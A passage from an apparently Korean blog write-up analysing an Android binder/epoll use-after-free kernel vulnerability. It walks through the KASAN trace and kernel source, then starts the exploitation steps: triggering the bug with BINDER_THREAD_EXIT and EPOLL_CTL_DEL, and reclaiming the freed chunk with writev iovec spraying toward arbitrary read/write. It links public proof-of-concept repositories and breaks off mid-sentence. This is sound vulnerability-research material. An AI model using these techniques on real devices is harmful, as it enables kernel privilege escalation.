464.567219] c0 3033 [&lt;ffffff90082b23f0&gt;] kasan_report+0x1f8/0x340 +[ 464.574501] c0 3033 [&lt;ffffff90082b0740&gt;] __asan_store8+0x74/0x90 +[ 464.580753] c0 3033 [&lt;ffffff9008139fc0&gt;] remove_wait_queue+0x48/0x90 +[ 464.587125] c0 3033 [&lt;ffffff9008336874&gt;] ep_unregister_pollwait.isra.8+0xa8/0xec +[ 464.593617] c0 3033 [&lt;ffffff9008337744&gt;] ep_free+0x74/0x11c +[ 464.601149] c0 3033 [&lt;ffffff9008337820&gt;] ep_eventpoll_release+0x34/0x48 +[ 464.606988] c0 3033 [&lt;ffffff90082c589c&gt;] __fput+0x10c/0x32c +[ 464.613724] c0 3033 [&lt;ffffff90082c5b38&gt;] ____fput+0x18/0x20 +[ 464.619463] c0 3033 [&lt;ffffff90080eefdc&gt;] task_work_run+0xd0/0x128 +[ 464.625193] c0 3033 [&lt;ffffff90080bd890&gt;] do_exit+0x3e4/0x1198 +[ 464.631260] c0 3033 [&lt;ffffff90080c0ff8&gt;] do_group_exit+0x7c/0x128 +[ 464.637167] c0 3033 [&lt;ffffff90080c10c4&gt;] __wake_up_parent+0x0/0x44 +[ 464.643421] c0 3033 [&lt;ffffff90080842b0&gt;] el0_svc_naked+0x24/0x28 + +</code></pre></div></div> + +<p>보면 do_exit과정에서 힙청크를 정리하는 과정에 ep_eventpoll_release함수가 실행되었고 ep_free를 통해 epoll에 연결된 wait queue를 제거하다가 발생했다는 것을 어느 정도 유추할 수 있는데 자세히 분석해본다.</p> + +<p><br /></p> + +<h3 id="441-ep_unregister_pollwait">4.4.1 ep_unregister_pollwait</h3> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /fs/eventpoll.c</span> +<span class="k">static</span> <span class="kt">int</span> <span class="nf">ep_eventpoll_release</span><span class="p">(</span><span class="k">struct</span> <span class="n">inode</span> <span class="o">*</span><span class="n">inode</span><span class="p">,</span> <span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">file</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">ep</span> <span class="o">=</span> <span class="n">file</span><span class="o">-&gt;</span><span class="n">private_data</span><span class="p">;</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">ep</span><span class="p">)</span> + <span class="n">ep_free</span><span class="p">(</span><span class="n">ep</span><span class="p">);</span> + + <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> +<span class="p">}</span> + +<span class="c1">// /fs/eventpoll.c</span> +<span class="k">static</span> <span class="kt">void</span> <span class="nf">ep_free</span><span class="p">(</span><span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">ep</span><span class="p">)</span> +<span class="p">{</span> + <span class="c1">// [...]</span> + <span class="k">for</span> <span class="p">(</span><span class="n">rbp</span> <span class="o">=</span> <span class="n">rb_first_cached</span><span class="p">(</span><span class="o">&amp;</span><span class="n">ep</span><span class="o">-&gt;</span><span class="n">rbr</span><span class="p">);</span> <span class="n">rbp</span><span class="p">;</span> <span class="n">rbp</span> <span class="o">=</span> <span class="n">rb_next</span><span class="p">(</span><span class="n">rbp</span><span class="p">))</span> <span class="p">{</span> + <span class="n">epi</span> <span class="o">=</span> <span class="n">rb_entry</span><span class="p">(</span><span class="n">rbp</span><span class="p">,</span> <span class="k">struct</span> <span class="n">epitem</span><span class="p">,</span> <span class="n">rbn</span><span class="p">);</span> + + <span class="n">ep_unregister_pollwait</span><span class="p">(</span><span class="n">ep</span><span class="p">,</span> <span class="n">epi</span><span class="p">);</span> + <span class="n">cond_resched</span><span class="p">();</span> + <span class="p">}</span> + <span class="c1">// [...]</span> + +<span class="p">}</span> + +<span class="c1">// /fs/eventpoll.c</span> +<span class="k">static</span> <span class="kt">void</span> <span class="nf">ep_unregister_pollwait</span><span class="p">(</span><span class="k">struct</span> <span class="n">eventpoll</span> <span class="o">*</span><span class="n">ep</span><span class="p">,</span> <span class="k">struct</span> <span class="n">epitem</span> <span class="o">*</span><span class="n">epi</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">lsthead</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">epi</span><span class="o">-&gt;</span><span class="n">pwqlist</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">eppoll_entry</span> <span class="o">*</span><span class="n">pwq</span><span class="p">;</span> + <span class="k">while</span> <span class="p">(</span><span class="o">!</span><span class="n">list_empty</span><span class="p">(</span><span class="n">lsthead</span><span class="p">))</span> <span class="p">{</span> + <span class="n">pwq</span> <span class="o">=</span> <span class="n">list_first_entry</span><span class="p">(</span><span class="n">lsthead</span><span class="p">,</span> <span class="k">struct</span> <span class="n">eppoll_entry</span><span class="p">,</span> <span class="n">llink</span><span class="p">);</span> + <span class="n">list_del</span><span class="p">(</span><span class="o">&amp;</span><span class="n">pwq</span><span class="o">-&gt;</span><span class="n">llink</span><span class="p">);</span> + <span class="n">ep_remove_wait_queue</span><span class="p">(</span><span class="n">pwq</span><span class="p">);</span> + <span class="n">kmem_cache_free</span><span class="p">(</span><span class="n">pwq_cache</span><span class="p">,</span> <span class="n">pwq</span><span class="p">);</span> + <span class="p">}</span> +<span class="p">}</span> +</code></pre></div></div> + +<p><code class="language-plaintext highlighter-rouge">ep_eventpoll_release</code> → <code class="language-plaintext highlighter-rouge">ep_free</code> -&gt; <code class="language-plaintext highlighter-rouge">ep_unregister_pollwait</code> 순서대로 호출된다.</p> + +<p>이때 pwq→wait과 pwq→whead가 freed binder_thread→wait과 연결되어 있다는 것을 기억하면서 ep_remove_wait_queue로 더 들어가보면 다음과 같다.</p> + +<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>// /fs/eventpoll.c +static void ep_remove_wait_queue(struct eppoll_entry *pwq) +{ + wait_queue_head_t *whead; + rcu_read_lock(); + // [...] + whead = smp_load_acquire(&amp;pwq-&gt;whead); + if (whead) + remove_wait_queue(whead, &amp;pwq-&gt;wait); + rcu_read_unlock(); +} + +</code></pre></div></div> + +<p>위 코드를 보면 smp_load_acquire을 통해 pwq-&gt;whead를 얻어와서 remove_wait_queue함수로 전달하는 것을 볼 수 있다. whead와 pwq→wait 모두 binder_thread.wait과 연결되어있다.</p> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android3.png" alt="그림 3. whead와 pwq-&gt;wait이 binder_thread.wait과 연결되어 있는 모습" /></p> + +<p><br /></p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /fs/eventpoll.c</span> + +<span class="kt">void</span> <span class="nf">remove_wait_queue</span><span class="p">(</span><span class="n">wait_queue_head_t</span> <span class="o">*</span><span class="n">q</span><span class="p">,</span> <span class="n">wait_queue_t</span> <span class="o">*</span><span class="n">wait</span><span class="p">)</span> +<span class="p">{</span> + <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">flags</span><span class="p">;</span> + + <span class="n">spin_lock_irqsave</span><span class="p">(</span><span class="o">&amp;</span><span class="n">q</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span> + <span class="n">__remove_wait_queue</span><span class="p">(</span><span class="n">q</span><span class="p">,</span> <span class="n">wait</span><span class="p">);</span> + <span class="n">spin_unlock_irqrestore</span><span class="p">(</span><span class="o">&amp;</span><span class="n">q</span><span class="o">-&gt;</span><span class="n">lock</span><span class="p">,</span> <span class="n">flags</span><span class="p">);</span> +<span class="p">}</span> + +<span class="n">__remove_wait_queue</span><span class="p">(</span><span class="n">wait_queue_head_t</span> <span class="o">*</span><span class="n">head</span><span class="p">,</span> <span class="n">wait_queue_t</span> <span class="o">*</span><span class="n">old</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">list_del</span><span class="p">(</span><span class="o">&amp;</span><span class="n">old</span><span class="o">-&gt;</span><span class="n">task_list</span><span class="p">);</span> +<span class="p">}</span> + +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">list_del</span><span class="p">(</span><span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">entry</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">__list_del_entry</span><span class="p">(</span><span class="n">entry</span><span class="p">);</span> + <span class="p">...</span> +<span class="p">}</span> + +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">__list_del_entry</span><span class="p">(</span><span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span><span class="n">entry</span><span class="p">)</span> +<span class="p">{</span> + <span class="p">...</span> + <span class="n">__list_del</span><span class="p">(</span><span class="n">entry</span><span class="o">-&gt;</span><span class="n">prev</span><span class="p">,</span> <span class="n">entry</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">);</span> +<span class="p">}</span> + +<span class="k">static</span> <span class="kr">inline</span> <span class="kt">void</span> <span class="nf">__list_del</span><span class="p">(</span><span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span> <span class="n">prev</span><span class="p">,</span> <span class="k">struct</span> <span class="n">list_head</span> <span class="o">*</span> <span class="n">next</span><span class="p">)</span> +<span class="p">{</span> + <span class="n">next</span><span class="o">-&gt;</span><span class="n">prev</span> <span class="o">=</span> <span class="n">prev</span><span class="p">;</span> + <span class="n">WRITE_ONCE</span><span class="p">(</span><span class="n">prev</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">,</span> <span class="n">next</span><span class="p">);</span> +<span class="p">}</span> + +</code></pre></div></div> + +<p>위 함수들을 거쳐서 pwq→wait의 list를 제거하는 과정을 거치는데, circular double linked list를 해제하는 과정이다.</p> + +<p>위 과정을 거쳐 eppoll_entry에 연결된 circular double linked list를 제거하면 아래 사진과 같이 자기 자신을 가리키는 포인터가 entry→prev와 entry→next에 저장된다</p> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android4.png" alt="그림 4. circular doubly linked list 해제에 의하여 자기 자신을 가리키는 binder_thread" /></p> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android5.png" alt="그림 5. 실제 메모리에서 binder_thread.wait의 prev와 next가 자기 자신을 가리키는 모습 (0xffff88801a0790a8이 head)" /></p> + +<p><br /> +<br /></p> + +<h1 id="5-exploit">5. Exploit</h1> + +<p>아래에서 언급되는 exploit code는 아래 링크의 코드를 사용했다</p> + +<ul> + <li><a href="https://github.com/chompie1337/s8_2019_2215_poc/tree/master/poc">https://github.com/chompie1337/s8_2019_2215_poc/tree/master/poc</a></li> + <li><a href="https://github.com/c3r34lk1ll3r/CVE-2019-2215">https://github.com/c3r34lk1ll3r/CVE-2019-2215</a></li> +</ul> + +<p><br /></p> + +<h2 id="51-improve-vulnerability">5.1 Improve Vulnerability</h2> + +<p>앞서 찾은 취약점을 요약하면 아래와 같다.</p> + +<ol> + <li>binder_thread→wait은 epoll_ctl을 통해 eppoll_entry→wait, eppoll_entry→whead에 연결된다.</li> + <li>ioctl을 통해 binder_thread를 해제할 수 있다.</li> + <li>eppoll_entry→wait, epoll_entry→whead에서는 binder_thread를 여전히 가리키고 있다.</li> + <li> + <p>exit단계에서 ep_remove함수가 실행되고 epoll_entry→wait circular double linked list를 해제하는 과정에서 UAF가 발생한다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="c1">// /fs/eventpoll.c</span> + <span class="n">SYSCALL_DEFINE4</span><span class="p">(</span><span class="n">epoll_ctl</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="n">epfd</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="n">op</span><span class="p">,</span> <span class="kt">int</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">epoll_event</span> <span class="n">__user</span> <span class="o">*</span><span class="p">,</span> <span class="n">event</span><span class="p">)</span> + <span class="p">{</span> + <span class="c1">//[...]</span> + <span class="k">switch</span> <span class="p">(</span><span class="n">op</span><span class="p">)</span> <span class="p">{</span> + <span class="c1">//[...]</span> + <span class="k">case</span> <span class="n">EPOLL_CTL_DEL</span><span class="p">:</span> + <span class="k">if</span> <span class="p">(</span><span class="n">epi</span><span class="p">)</span> + <span class="n">error</span> <span class="o">=</span> <span class="n">ep_remove</span><span class="p">(</span><span class="n">ep</span><span class="p">,</span> <span class="n">epi</span><span class="p">);</span> + <span class="k">else</span> + <span class="n">error</span> <span class="o">=</span> <span class="o">-</span><span class="n">ENOENT</span><span class="p">;</span> + <span class="k">break</span><span class="p">;</span> + <span class="c1">//[...]</span> + <span class="p">}</span> +</code></pre></div> </div> + + <p>exit단계에서 호출된 <code class="language-plaintext highlighter-rouge">ep_remove</code> 함수는 epoll_ctl의 <code class="language-plaintext highlighter-rouge">EPOLL_CTL_DEL</code> 옵션을 통해 호출이 따로 가능하다. 따라서 아래와 같이 호출한다면 UAF가 동일하게 발생할 수 있다.</p> + + <div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="n">epoll_ctl</span><span class="p">(</span><span class="n">iEpFd</span><span class="p">,</span> <span class="n">EPOLL_CTL_DEL</span><span class="p">,</span> <span class="n">iBinderFd</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">epoll_ev</span><span class="p">)</span> +</code></pre></div> </div> + </li> +</ol> + +<p><br /></p> + +<p>이 챕터에서는 binder_thread를 어떤 객체로 어떻게 덮을 것이고, 이를 통해 어떻게 Arbitrary Read/Write primitive를 얻을 것인지 살펴본다.</p> + +<p><br /></p> + +<h3 id="511-allocate-iovec-with-writev">5.1.1 Allocate iovec with writev</h3> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//poc.c line 16</span> + <span class="n">ioctl</span><span class="p">(</span><span class="n">fd</span><span class="p">,</span> <span class="n">BINDER_THREAD_EXIT</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span> +</code></pre></div></div> + +<p>위 코드에 의해 해제된 binder_thread는 408 크기이다.</p> + +<p><img src="/assets/2024-03-11-Android-1day-Exploit-Analysis/android6.png" alt="그림 6. binder_thread 크기" /></p> + +<p><br /> +<br /></p> + +<p>해제된 chunk는 slub의 kmalloc-512에 들어가게 되고, 우리가 이 chunk를 다시 사용하기 위해서는 kmalloc-512에 해당하는 크기의 chunk를 할당 받아야 한다.</p> + +<p>이를 위하여 이 exploit에서는 iovec 을 이용한다. iovec은 writev, readv 함수에서 일반적인 buffer 대신에 사용할 수 있도록 하는 구조체이다.</p> + +<p><br /> +<br /></p> + +<p>iovec 구조체는 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">iovec</span> +<span class="p">{</span> + <span class="kt">void</span> <span class="n">__user</span> <span class="o">*</span><span class="n">iov_base</span><span class="p">;</span> <span class="cm">/* BSD uses caddr_t (1003.1g requires void *) */</span> + <span class="n">__kernel_size_t</span> <span class="n">iov_len</span><span class="p">;</span> <span class="cm">/* Must be size_t (1003.1g) */</span> +<span class="p">};</span> +</code></pre></div></div> + +<p>iov_base는 전송할 데이터의 시작 주소를 가리키고, iov_len은 iov_base를 기준으로 전송하고자 하는 바이트 수이다. 이 구조체가 실제로 커널에서는 어떻게 커널 힙으로 할당되는지 알기 위해서, writev함수의 내부 코드를 살펴봐야 한다.</p> + +<p><br /> +<br /></p> + +<p>우리가 exploit에서 사용할 writev함수를 살펴보면 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /fs/read_write.c</span> +<span class="n">SYSCALL_DEFINE3</span><span class="p">(</span><span class="n">writev</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span><span class="p">,</span> <span class="n">fd</span><span class="p">,</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">iovec</span> <span class="n">__user</span> <span class="o">*</span><span class="p">,</span> <span class="n">vec</span><span class="p">,</span> + <span class="kt">unsigned</span> <span class="kt">long</span><span class="p">,</span> <span class="n">vlen</span><span class="p">)</span> +<span class="p">{</span> + <span class="k">struct</span> <span class="n">fd</span> <span class="n">f</span> <span class="o">=</span> <span class="n">fdget_pos</span><span class="p">(</span><span class="n">fd</span><span class="p">);</span> + <span class="kt">ssize_t</span> <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="n">EBADF</span><span class="p">;</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">file</span><span class="p">)</span> <span class="p">{</span> + <span class="n">loff_t</span> <span class="n">pos</span> <span class="o">=</span> <span class="n">file_pos_read</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">file</span><span class="p">);</span> + <span class="n">ret</span> <span class="o">=</span> <span class="n">vfs_writev</span><span class="p">(</span><span class="n">f</span><span class="p">.</span><span class="n">file</span><span class="p">,</span> <span class="n">vec</span><span class="p">,</span> <span class="n">vlen</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">pos</span><span class="p">);</span> + <span class="c1">//[...]</span> + <span class="p">}</span> + + <span class="c1">//[...]</span> + + <span class="k">return</span> <span class="n">ret</span><span class="p">;</span> +<span class="p">}</span> + +<span class="c1">// /fs/read_write.c</span> +<span class="kt">ssize_t</span> <span class="nf">vfs_writev</span><span class="p">(</span><span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">file</span><span class="p">,</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">iovec</span> <span class="n">__user</span> <span class="o">*</span><span class="n">vec</span><span class="p">,</span> + <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">vlen</span><span class="p">,</span> <span class="n">loff_t</span> <span class="o">*</span><span class="n">pos</span><span class="p">)</span> +<span class="p">{</span> + <span class="c1">//[...]</span> + + <span class="k">return</span> <span class="n">do_readv_writev</span><span class="p">(</span><span class="n">WRITE</span><span class="p">,</span> <span class="n">file</span><span class="p">,</span> <span class="n">vec</span><span class="p">,</span> <span class="n">vlen</span><span class="p">,</span> <span class="n">pos</span><span class="p">);</span> +<span class="p">}</span> + +<span class="c1">// /fs/read_write.c</span> +<span class="k">static</span> <span class="kt">ssize_t</span> <span class="nf">do_readv_writev</span><span class="p">(</span><span class="kt">int</span> <span class="n">type</span><span class="p">,</span> <span class="k">struct</span> <span class="n">file</span> <span class="o">*</span><span class="n">file</span><span class="p">,</span> + <span class="k">const</span> <span class="k">struct</span> <span class="n">iovec</span> <span class="n">__user</span> <span class="o">*</span> <span class="n">uvector</span><span class="p">,</span> + <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">nr_segs</span><span class="p">,</span> <span class="n">loff_t</span> <span class="o">*</span><span class="n">pos</span><span class="p">)</span> +<span class="p">{</span> + <span class="kt">size_t</span> <span class="n">tot_len</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">iovec</span> <span class="n">iovstack</span><span class="p">[</span><span class="n">UIO_FASTIOV</span><span class="p">];</span> + <span class="k">struct</span> <span class="n">iovec</span> <span class="o">*</span><span class="n">iov</span> <span class="o">=</span> <span class="n">iovstack</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">iov_iter</span> <span class="n">iter</span><span class="p">;</span> + <span class="kt">ssize_t</span> <span class="n">ret</span><span class="p">;</span> + <span class="n">io_fn_t</span> <span class="n">fn</span><span class="p">;</span> + <span class="n">iter_fn_t</span> <span class="n">iter_fn</span><span class="p">;</span> + + <span class="n">ret</span> <span class="o">=</span> <span class="n">import_iovec</span><span class="p">(</span><span class="n">type</span><span class="p">,</span> <span class="n">uvector</span><span class="p">,</span> <span class="n">nr_segs</span><span class="p">,</span> + <span class="n">ARRAY_SIZE</span><span class="p">(</span><span class="n">iovstack</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">iov</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">iter</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> + <span class="k">return</span> <span class="n">ret</span><span class="p">;</span> + <span class="c1">//[...]</span> + + <span class="k">if</span> <span class="p">(</span><span class="n">type</span> <span class="o">==</span> <span class="n">READ</span><span class="p">)</span> <span class="p">{</span> + <span class="n">fn</span> <span class="o">=</span> <span class="n">file</span><span class="o">-&gt;</span><span class="n">f_op</span><span class="o">-&gt;</span><span class="n">read</span><span class="p">;</span> + <span class="n">iter_fn</span> <span class="o">=</span> <span class="n">file</span><span class="o">-&gt;</span><span class="n">f_op</span><span class="o">-&gt;</span><span class="n">read_iter</span><span class="p">;</span> + <span class="p">}</span> <span class="k">else</span> <span class="p">{</span> + <span class="n">fn</span> <span class="o">=</span> <span class="p">(</span><span class="n">io_fn_t</span><span class="p">)</span><span class="n">file</span><span class="o">-&gt;</span><span class="n">f_op</span><span class="o">-&gt;</span><span class="n">write</span><span class="p">;</span> + <span class="n">iter_fn</span> <span class="o">=</span> <span class="n">file</span><span class="o">-&gt;</span><span class="n">f_op</span><span class="o">-&gt;</span><span class="n">write_iter</span><span class="p">;</span> + <span class="n">file_start_write</span><span class="p">(</span><span class="n">file</span><span class="p">);</span> + <span class="p">}</span> + <span class="c1">//[...]</span> +<span class="p">}</span> + +</code></pre></div></div> + +<p>위 코드를 확인해보면 writev → vfs_writev → do_readv_writev함수 순으로 호출 되고 여기서 import_iovec 함수가 호출된다.</p> + +<p><br /></p> + +<p>import_iovec함수를 살펴보면 아래와 같다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// /lib/iov_iter.c</span> +<span class="kt">int</span> <span class="nf">import_iovec</span><span class="p">(</span><span class="kt">int</span> <span class="n">type</span><span class="p">,</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">iovec</span> <span class="n">__user</span> <span class="o">*</span> <span class="n">uvector</span><span class="p">,</span> + <span class="kt">unsigned</span> <span class="n">nr_segs</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="n">fast_segs</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">iovec</span> <span class="o">**</span><span class="n">iov</span><span class="p">,</span> <span class="k">struct</span> <span class="n">iov_iter</span> <span class="o">*</span><span class="n">i</span><span class="p">)</span> +<span class="p">{</span> + <span class="kt">ssize_t</span> <span class="n">n</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">iovec</span> <span class="o">*</span><span class="n">p</span><span class="p">;</span> + <span class="n">n</span> <span class="o">=</span> <span class="n">rw_copy_check_uvector</span><span class="p">(</span><span class="n">type</span><span class="p">,</span> <span class="n">uvector</span><span class="p">,</span> <span class="n">nr_segs</span><span class="p">,</span> <span class="n">fast_segs</span><span class="p">,</span> + <span class="o">*</span><span class="n">iov</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">p</span><span class="p">);</span> + <span class="k">if</span> <span class="p">(</span><span class="n">n</span> <span class="o">&lt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> + <span class="k">if</span> <span class="p">(</span><span class="n">p</span> <span class="o">!=</span> <span class="o">*</span><span class="n">iov</span><span class="p">)</span> + <span class="n">kfree</span><span class="p">(</span><span class="n">p</span><span class="p">);</span> + <span class="o">*</span><span class="n">iov</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span> + <span class="k">return</span> <span class="n">n</span><span class="p">;</span> + <span class="p">}</span> + <span class="n">iov_iter_init</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">type</span><span class="p">,</span> <span class="n">p</span><span class="p">,</span> <span class="n">nr_segs</span><span class="p">,</span> <span class="n">n</span><span class="p">);</span> + <span class="o">*</span><span class="n">iov</span> <span class="o">=</span> <span class="n">p</span> <span class="o">==</span> <span class="o">*</span><span class="n">iov</span> <span class="o">?</span> <span class="nb">NULL</span> <span class="o">:</span> <span class="n">p</span><span class="p">;</span> + <span class="k">return</span> <span class="mi">0</span><span class="p">;</span> +<span class="p">}</span> + +<span class="c1">// /fs/read_write.c</span> +<span class="kt">ssize_t</span> <span class="nf">rw_copy_check_uvector</span><span class="p">(</span><span class="kt">int</span> <span class="n">type</span><span class="p">,</span> <span class="k">const</span> <span class="k">struct</span> <span class="n">iovec</span> <span class="n">__user</span> <span class="o">*</span> <span class="n">uvector</span><span class="p">,</span> + <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">nr_segs</span><span class="p">,</span> <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">fast_segs</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">iovec</span> <span class="o">*</span><span class="n">fast_pointer</span><span class="p">,</span> + <span class="k">struct</span> <span class="n">iovec</span> <span class="o">**</span><span class="n">ret_pointer</span><span class="p">)</span> +<span class="p">{</span> + <span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">seg</span><span class="p">;</span> + <span class="kt">ssize_t</span> <span class="n">ret</span><span class="p">;</span> + <span class="k">struct</span> <span class="n">iovec</span> <span class="o">*</span><span class="n">iov</span> <span class="o">=</span> <span class="n">fast_pointer</span><span class="p">;</span> + <span class="c1">//[...]</span> + <span class="k">if</span> <span class="p">(</span><span class="n">nr_segs</span> <span class="o">&gt;</span> <span class="n">fast_segs</span><span class="p">)</span> <span class="p">{</span> + <span class="n">iov</span> <span class="o">=</span> <span class="n">kmalloc</span><span class="p">(</span><span class="n">nr_segs</span><span class="o">*</span><span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">iovec</span><span class="p">),</span> <span class="n">GFP_KERNEL</span><span class="p">);</span> + <span class="c1">//[...]</span> + <span class="p">}</span> + <span class="k">if</span> <span class="p">(</span><span class="n">copy_from_user</span><span class="p">(</span><span class="n">iov</span><span class="p">,</span> <span class="n">uvector</span><span class="p">,</span> <span class="n">nr_segs</span><span class="o">*</span><span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">uvector</span><span class="p">)))</span> <span class="p">{</span> + <span class="c1">//[...]</span> + <span class="p">}</span> + <span class="c1">//[...]</span> + <span class="n">ret</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> + <span class="k">for</span> <span class="p">(</span><span class="n">seg</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">seg</span> <span class="o">&lt;</span> <span class="n">nr_segs</span><span class="p">;</span> <span class="n">seg</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> + <span class="kt">void</span> <span class="n">__user</span> <span class="o">*</span><span class="n">buf</span> <span class="o">=</span> <span class="n">iov</span><span class="p">[</span><span class="n">seg</span><span class="p">].</span><span class="n">iov_base</span><span class="p">;</span> + <span class="kt">ssize_t</span> <span class="n">len</span> <span class="o">=</span> <span class="p">(</span><span class="kt">ssize_t</span><span class="p">)</span><span class="n">iov</span><span class="p">[</span><span class="n">seg</span><span class="p">].</span><span class="n">iov_len</span><span class="p">;</span> + <span class="c1">//[...]</span> + <span class="k">if</span> <span class="p">(</span><span class="n">type</span> <span class="o">&gt;=</span> <span class="mi">0</span> + <span class="o">&amp;&amp;</span> <span class="n">unlikely</span><span class="p">(</span><span class="o">!</span><span class="n">access_ok</span><span class="p">(</span><span class="n">vrfy_dir</span><span class="p">(</span><span class="n">type</span><span class="p">),</span> <span class="n">buf</span><span class="p">,</span> <span class="n">len</span><span class="p">)))</span> <span class="p">{</span> + <span class="c1">//[...]</span> + <span class="p">}</span> + <span class="k">if</span> <span class="p">(</span><span class="n">len</span> <span class="o">&gt;</span> <span class="n">MAX_RW_COUNT</span> <span class="o">-</span> <span class="n">ret</span><span class="p">)</span> <span class="p">{</span> + <span class="n">len</span> <span class="o">=</span> <span class="n">MAX_RW_COUNT</span> <span class="o">-</span> <span class="n">ret</span><span class="p">;</span> + <span class="n">iov</span><span class="p">[</span><span class="n">seg</span><span class="p">].</span><span class="n">iov_len</span> <span class="o">=</span> <span class="n">len</span><span class="p">;</span> + <span class="p">}</span> + <span class="n">ret</span> <span class="o">+=</span> <span class="n">len</span><span class="p">;</span> + <span class="p">}</span> + <span class="c1">//[...]</span> + <span class="k">return</span> <span class="n">ret</span><span class="p">;</span> +<span class="p">}</span> + +</code></pre></div></div> + +<p>위 코드에서 확인할 수 있듯이, <code class="language-plaintext highlighter-rouge">kmalloc(nr_segs*sizeof(struct iovec), GFP_KERNEL);</code> 을 통해 커널 힙을 할당 받을 수 있는데, 이때 <code class="language-plaintext highlighter-rouge">nr_segs</code>를 우리가 원하는 값으로 할 수 있기 때문에 binder_thread 청크를 위 코드에서 할당 받을 수 있다. 또한 그 아래 코드에서 <code class="language-plaintext highlighter-rouge">copy_from_user</code> 함수를 통해 실제로 값을 copy하기 때문에, 원하는 값으로 청크를 채울 수 있다.</p> + +<p><br /></p> + +<p><code class="language-plaintext highlighter-rouge">struct iovec</code> 의 크기가 0x10 byte이기 때문에 binder_thread 크기 만큼의 청크를 할당받기 위해서는 25개의 iovec 구조체를 할당받아야 한다. 따라서 아래와 같이 선언을 해준다면, writev에서 binder_thread 청크를 iovecStack으로 할당받을 수 있다.</p> + +<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">//exploit.c</span> +<span class="k">struct</span> <span class="n">iovec</span> <span class="n">iov</span><span class="p">[</span><span class="mi">25</span><span class="p">]</span> <span class="o">=</span> <span class="p">{</span><span class="mi">0</span><span class="p">};</span> +</code></pre></div></div> + +<p><br /></p> + +<p>이제 해제된 binder_thread를 iovec 구조체로 재할당 받게 되었다. 이를 writev에서 어떻게 활용할 수 있는지 아래에서 다뤄본다.</p> + +<p><br /></p> + +<h3 id="512-overwrite-dangling-pointer">5.1.2 Overwrite dangling pointer</h3> + +<p>writev에서는 iovec.base에 있는 값을 iovec.len 크기 만큼 전달한다. 이때 